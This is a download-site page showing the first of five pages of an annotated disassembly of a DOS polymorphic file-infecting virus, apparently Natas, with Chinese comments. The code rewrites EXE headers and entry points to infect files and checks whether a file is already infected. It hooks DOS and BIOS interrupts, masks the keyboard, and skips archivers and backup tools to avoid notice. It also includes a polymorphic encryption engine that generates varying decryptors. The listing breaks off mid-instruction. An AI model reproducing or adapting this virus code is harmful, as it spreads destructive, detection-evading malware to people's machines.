⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 natas

📁 一套关于加解密的文件
💻
📖 第 1 页 / 共 5 页
字号:
9E80:092D 75E5           JNZ	0914 
9E80:092F 2B5402         SUB	DX,[SI+02] 	;文件有覆盖部分不传染
9E80:0932 75E0           JNZ	0914 
9E80:0934 B88812         MOV	AX,1288 
9E80:0937 03C5           ADD	AX,BP 
9E80:0939 13D7           ADC	DX,DI 		;DX:AX = 新文件长
9E80:093B F7F1           DIV	CX 
9E80:093D 0BD2           OR	DX,DX 
9E80:093F 7401           JZ	0942 
9E80:0941 40             INC	AX 
9E80:0942 894404         MOV	[SI+04],AX 
9E80:0945 895402         MOV	[SI+02],DX 	;新映象长度
9E80:0948 BB90E9         MOV	BX,E990 
9E80:094B 33C9           XOR	CX,CX 
9E80:094D 3BEB           CMP	BP,BX 
9E80:094F 7205           JB	0956 
9E80:0951 83ED10         SUB	BP,+10 
9E80:0954 E2F7           LOOP	094D 
9E80:0956 83FF0F         CMP	DI,+0F 		;文件长 > 640K 不传染
9E80:0959 77B9           JA	0914 
9E80:095B 91             XCHG	AX,CX 		;文件长低位 > E990 部分
9E80:095C B104           MOV	CL,04 		;转移到 DI
9E80:095E D3CF           ROR	DI,CL 		;
9E80:0960 0BC0           OR	AX,AX 
9E80:0962 7404           JZ	0968 
9E80:0964 2BF8           SUB	DI,AX 		;DIx10 + BP = 文件长
9E80:0966 73AC           JNB	0914 
9E80:0968 2B7C08         SUB	DI,[SI+08] 	;减去文件头长
9E80:096B 55             PUSH	BP 
9E80:096C 81C5DA11       ADD	BP,11DA 	;新入口 : 11DA
9E80:0970 896C14         MOV	[SI+14],BP 	;新 CS:IP
9E80:0973 897C16         MOV	[SI+16],DI 
9E80:0976 81C50002       ADD	BP,0200 	;新 CS:IP+0200
9E80:097A 896C10         MOV	[SI+10],BP 	;为新堆栈
9E80:097D 897C0E         MOV	[SI+0E],DI 
9E80:0980 BD0080         MOV	BP,8000 
9E80:0983 D3FB           SAR	BX,CL 		;BX = E990,CL=4
9E80:0985 8B440A         MOV	AX,[SI+0A] 	;分配最小内存
9E80:0988 2BC3           SUB	AX,BX 
9E80:098A 7303           JNB	098F 
9E80:098C 89440A         MOV	[SI+0A],AX 
;=======================================================================
9E80:098F 58             POP	AX 		;.COM 由此入
9E80:0990 E83F01         CALL	0AD2 		;产生加密代码
9E80:0993 55             PUSH	BP 
9E80:0994 9D             POPF	 
9E80:0995 7213           JB	09AA 
9E80:0997 E81100         CALL	09AB 		;取系统文件表项
9E80:099A 894D15         MOV	[DI+15],CX 	;文件指针移动到文件头
9E80:099D 894D17         MOV	[DI+17],CX 
9E80:09A0 B440           MOV	AH,40
9E80:09A2 BA8812         MOV	DX,1288 
9E80:09A5 0E             PUSH	CS 
9E80:09A6 1F             POP	DS 
9E80:09A7 E86900         CALL	0A13 		;写新文件头 18H 字节
9E80:09AA C3             RET	 
;=======================================================================
;取系统文件表项于 ES:DI
;返回 CY 不传染, NZ = 已传染
9E80:09AB 50             PUSH	AX 
9E80:09AC 53             PUSH	BX 
9E80:09AD B82012         MOV	AX,1220 
9E80:09B0 2E8B1EC30A     MOV	BX,CS:[0AC3] 
9E80:09B5 CD2F           INT	2F 		;取文件表地址
9E80:09B7 721D           JB	09D6 
9E80:09B9 B81612         MOV	AX,1216 
9E80:09BC 268A1D         MOV	BL,ES:[DI] 
9E80:09BF 80FBFF         CMP	BL,FF 
9E80:09C2 F5             CMC	 
9E80:09C3 7411           JZ	09D6 
9E80:09C5 CD2F           INT	2F 		;取系统文件表项
9E80:09C7 720D           JB	09D6 
9E80:09C9 06             PUSH	ES 
9E80:09CA 1F             POP	DS 
9E80:09CB F6450580       TEST	Byte Ptr [DI+05],80 
9E80:09CF F5             CMC	 		;先设置为 CY
9E80:09D0 7504           JNZ	09D6 		;远程文件不传染
9E80:09D2 F6451080       TEST	Byte Ptr [DI+10],80 
9E80:09D6 5B             POP	BX 		;判是否已传染
9E80:09D7 58             POP	AX 		;没有传染返回 NZ,NC
9E80:09D8 C3             RET	 
;==========================================================================
;切换 INT 13 / INT 14 / INT 15 / INT 40
;(DOS INT 与 BIOS 初始 INT 之间)
9E80:09D9 50             PUSH	AX 
9E80:09DA 53             PUSH	BX 
9E80:09DB 52             PUSH	DX 
9E80:09DC 1E             PUSH	DS 
9E80:09DD B013           MOV	AL,13 
9E80:09DF BFEB13         MOV	DI,13EB 
9E80:09E2 0E             PUSH	CS 
9E80:09E3 1F             POP	DS 
9E80:09E4 E8DCF6         CALL	00C3 		;取中断向量
9E80:09E7 8CC2           MOV	DX,ES 		;于 ES:BX
9E80:09E9 871D           XCHG	BX,[DI] 	;保存于 13EB
9E80:09EB FC             CLD	 
9E80:09EC AF             SCASW	 
9E80:09ED 87D3           XCHG	DX,BX 
9E80:09EF 871D           XCHG	BX,[DI] 
9E80:09F1 AF             SCASW	 
9E80:09F2 8EDB           MOV	DS,BX 
9E80:09F4 E8DDF6         CALL	00D4 		;设置 BIOS 初始值
9E80:09F7 3C15           CMP	AL,15 
9E80:09F9 B015           MOV	AL,15 
9E80:09FB 7305           JNB	0A02 
9E80:09FD 83C704         ADD	DI,+04 
9E80:0A00 EBE0           JMP	09E2 
9E80:0A02 B040           MOV	AL,40
9E80:0A04 74DC           JZ	09E2 
9E80:0A06 1F             POP	DS 
9E80:0A07 5A             POP	DX 
9E80:0A08 5B             POP	BX 
9E80:0A09 58             POP	AX 
9E80:0A0A C3             RET	 
;==========================================================================
;0A0B  读文件头 18 字节到 1270
;0A0E  写文件头 18 字节
9E80:0A0B B43F           MOV	AH,3F
9E80:0A0D 3DB440         CMP	AX,40B4 
9E80:0A10 BA7012         MOV	DX,1270 
9E80:0A13 B91800         MOV	CX,0018 
9E80:0A16 E8A900         CALL	0AC2 
9E80:0A19 7202           JB	0A1D 
9E80:0A1B 2BC1           SUB	AX,CX 
9E80:0A1D C3             RET	 
;==========================================================================
9E80:0A1E B024           MOV	AL,24		;设置新 INT 24
9E80:0A20 2EC516E713     LDS	DX,CS:[13E7] 
9E80:0A25 E8ACF6         CALL	00D4 
9E80:0A28 E421           IN	AL,21		;屏蔽键盘
9E80:0A2A 24FD           AND	AL,FD 
9E80:0A2C E621           OUT	21,AL
9E80:0A2E C3             RET	 
;==========================================================================
9E80:0A2F 894610         MOV	[BP+10],AX 
9E80:0A32 9C             PUSHF	 
9E80:0A33 8F4612         POP	[BP+12] 
9E80:0A36 C3             RET	 
;=========================================================================
;判断 INT 21 是否在压缩程序中调用
;如果在压缩程序中调用, 则欺骗功能不使用
9E80:0A37 50             PUSH	AX 
9E80:0A38 51             PUSH	CX 
9E80:0A39 56             PUSH	SI 
9E80:0A3A 57             PUSH	DI 
9E80:0A3B 06             PUSH	ES 
9E80:0A3C B002           MOV	AL,02 
9E80:0A3E 0AC0           OR	AL,AL 
9E80:0A40 753E           JNZ	0A80 
9E80:0A42 E84B00         CALL	0A90 		;取当前执行文件名
9E80:0A45 268B05         MOV	AX,ES:[DI] 	;于 ES:DI
9E80:0A48 3D4152         CMP	AX,5241 	; "AR" = ARJ
9E80:0A4B 7433           JZ	0A80 
9E80:0A4D 3D4C48         CMP	AX,484C 	; "LH" = LHA
9E80:0A50 742E           JZ	0A80 
9E80:0A52 3D504B         CMP	AX,4B50 	; "PK" = PKZIP
9E80:0A55 7429           JZ	0A80 		;如果是以上文件,返回 ZR
9E80:0A57 B90200         MOV	CX,0002 
9E80:0A5A BE860A         MOV	SI,0A86 
9E80:0A5D 51             PUSH	CX 
9E80:0A5E 57             PUSH	DI 
9E80:0A5F B108           MOV	CL,08 
9E80:0A61 2EAC           LODSB	CS: 
9E80:0A63 346C           XOR	AL,6C		;判断是否 BACKUP
9E80:0A65 F2             REPNZ			;或 MODEM
9E80:0A66 AE             SCASB	 
9E80:0A67 7510           JNZ	0A79 		;0A86 及 0A8B
9E80:0A69 80F903         CMP	CL,03 		;处为加密的字符串
9E80:0A6C 720B           JB	0A79 		;BACK 及 MODEM
9E80:0A6E B104           MOV	CL,04 
9E80:0A70 2EAC           LODSB	CS: 
9E80:0A72 346C           XOR	AL,6C
9E80:0A74 7403           JZ	0A79 
9E80:0A76 AE             SCASB	 
9E80:0A77 E1F7           LOOPZ	0A70 
9E80:0A79 BE8B0A         MOV	SI,0A8B 
9E80:0A7C 5F             POP	DI 
9E80:0A7D 59             POP	CX 
9E80:0A7E E0DD           LOOPNZ	0A5D 
9E80:0A80 07             POP	ES 
9E80:0A81 5F             POP	DI 
9E80:0A82 5E             POP	SI 
9E80:0A83 59             POP	CX 
9E80:0A84 58             POP	AX 
9E80:0A85 C3             RET	 
9E80:0A86                    2E 2D-2F 27 6C 21 23 28 29 21        ..........
;=======================================================================
;从 MCB 中取执行文件名到 ES:DI
9E80:0A90 50             PUSH	AX
9E80:0A91 53             PUSH	BX
9E80:0A92 B462           MOV	AH,62
9E80:0A94 E82E00         CALL	0AC5 		;当前 PSP
9E80:0A97 4B             DEC	BX 		;执行程序的 MCB
9E80:0A98 8EC3           MOV	ES,BX 
9E80:0A9A BF0800         MOV	DI,0008 	;MCB:0008 = 执行文件名
9E80:0A9D FC             CLD	 
9E80:0A9E 5B             POP	BX 
9E80:0A9F 58             POP	AX 
9E80:0AA0 C3             RET	 
;==================================================================
;取 DTA 地址
9E80:0AA1 B42F           MOV	AH,2F
9E80:0AA3 E81F00         CALL	0AC5 
9E80:0AA6 06             PUSH	ES 
9E80:0AA7 1F             POP	DS 
9E80:0AA8 C3             RET	 
;==================================================================
病毒执行 INT 13 ???
9E80:0AA9 E838F7         CALL	01E4 
9E80:0AAC 9C             PUSHF	 
9E80:0AAD 2EFF1EEF13     CALL	FAR CS:[13EF] 
9E80:0AB2 E82FF7         CALL	01E4 
9E80:0AB5 C3             RET	 
;===================================================================
9E80:0AB6 F6C280         TEST	DL,80 
9E80:0AB9 7410           JZ	0ACB 
9E80:0ABB 9C             PUSHF	 
9E80:0ABC 2EFF1EEB13     CALL	FAR CS:[13EB] 
9E80:0AC1 C3             RET	 
9E80:0AC2 BB0100         MOV	BX,0001 
9E80:0AC5 9C             PUSHF	 
9E80:0AC6 0E             PUSH	CS 
9E80:0AC7 E8F5FD         CALL	08BF 
9E80:0ACA C3             RET	 
9E80:0ACB 9C             PUSHF	 
9E80:0ACC 2EFF1EF713     CALL	FAR CS:[13F7] 
9E80:0AD1 C3             RET	 
;========================================================================
;	产生变型加密代码
;	输入 : AX = IP 入口	BP = 0 (.COM) = 8000 (.EXE)
;========================================================================
; 子程序中用到的一些数据
; BP : 8-15 位用作标志   0-7 位用作寄存器是否已使用标志,一位代表一个寄存器
;	BIT 8 (0100)==不执行产生随机代码子程序
;	BIT 9 (0200)==产生指令时保存指令到 [1410]
;	BIT 10(0400)==在变型解密算法中,CX为密匙寄存器,0C7C子程序已执行
;	BIT 11(0800)==随机无效指令中不能改变 CY 标志
;	BIT 12(1000)==
;	BIT 13(2000)==在长度寄存器为CX时,寄存器减一子程序中CX未减
;	BIT 14(4000)==?????
;	BIT 15(8000)==被传染程序为 .EXE 文件
; [11A3] = 密匙值
; [1104] = 入口 IP 值		[1406] = 解密指针偏移
; [1108] = 加密算法指令指针	[110A] = 加密算法指令结束指针
; [140C] = 密匙寄存器 		[140D] = 计数寄存器
; [140E] = 指针寄存器之一	[140F] = 指针寄存器之二
; [1410] = 上个随机指令
9E80:0AD2 A30414         MOV	[1404],AX 
9E80:0AD5 BFDA11         MOV	DI,11DA 	;加密代码存放于 11DA
9E80:0AD8 BB330E         MOV	BX,0E33 	;按随机顺序执行
9E80:0ADB B9210E         MOV	CX,0E21 	;0E33 0E21 和 0E40
9E80:0ADE BA400E         MOV	DX,0E40 	;产生密匙/计数/指针
9E80:0AE1 BE5311         MOV	SI,1153 	;三种寄存器的原始数据
9E80:0AE4 81CDEF00       OR	BP,00EF 
9E80:0AE8 E84506         CALL	1130 		;随机执行
9E80:0AEB 57             PUSH	DI 
9E80:0AEC 57             PUSH	DI 
9E80:0AED BE9E11         MOV	SI,119E 
9E80:0AF0 BFA012         MOV	DI,12A0 
9E80:0AF3 B93500         MOV	CX,0035 
9E80:0AF6 F3             REPZ	
9E80:0AF7 A4             MOVSB	 
9E80:0AF8 C7060814AC12   MOV	Word Ptr [1408],12AC 	;加密算法代码指针
9E80:0AFE 5F             POP	DI 
9E80:0AFF BBA80C         MOV	BX,0CA8 	;随机执行 0CA8/0D9E/0C7C/0C57
9E80:0B02 B99E0D         MOV	CX,0D9E 	;计数寄存器加一
9E80:0B05 BA7C0C         MOV	DX,0C7C 	;指针寄存器加二
9E80:0B08 BE570C         MOV	SI,0C57 	;指针寄存器处数据解密
9E80:0B0B E82206         CALL	1130 		;随机决定是否每次改变密匙
9E80:0B0E B80200         MOV	AX,0002 
9E80:0B11 50             PUSH	AX 
9E80:0B12 E85106         CALL	1166 
9E80:0B15 58             POP	AX 
9E80:0B16 7406           JZ	0B1E 
9E80:0B18 F7C50040       TEST	BP,4000
9E80:0B1C 755C           JNZ	0B7A 
9E80:0B1E E84506         CALL	1166 
9E80:0B21 7406           JZ	0B29 
9E80:0B23 F7C50020       TEST	BP,2000 
9E80:0B27 7551           JNZ	0B7A 
;===========================================================================
; 测试计数寄存器分支之一: ADD R_计数,0
9E80:0B

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -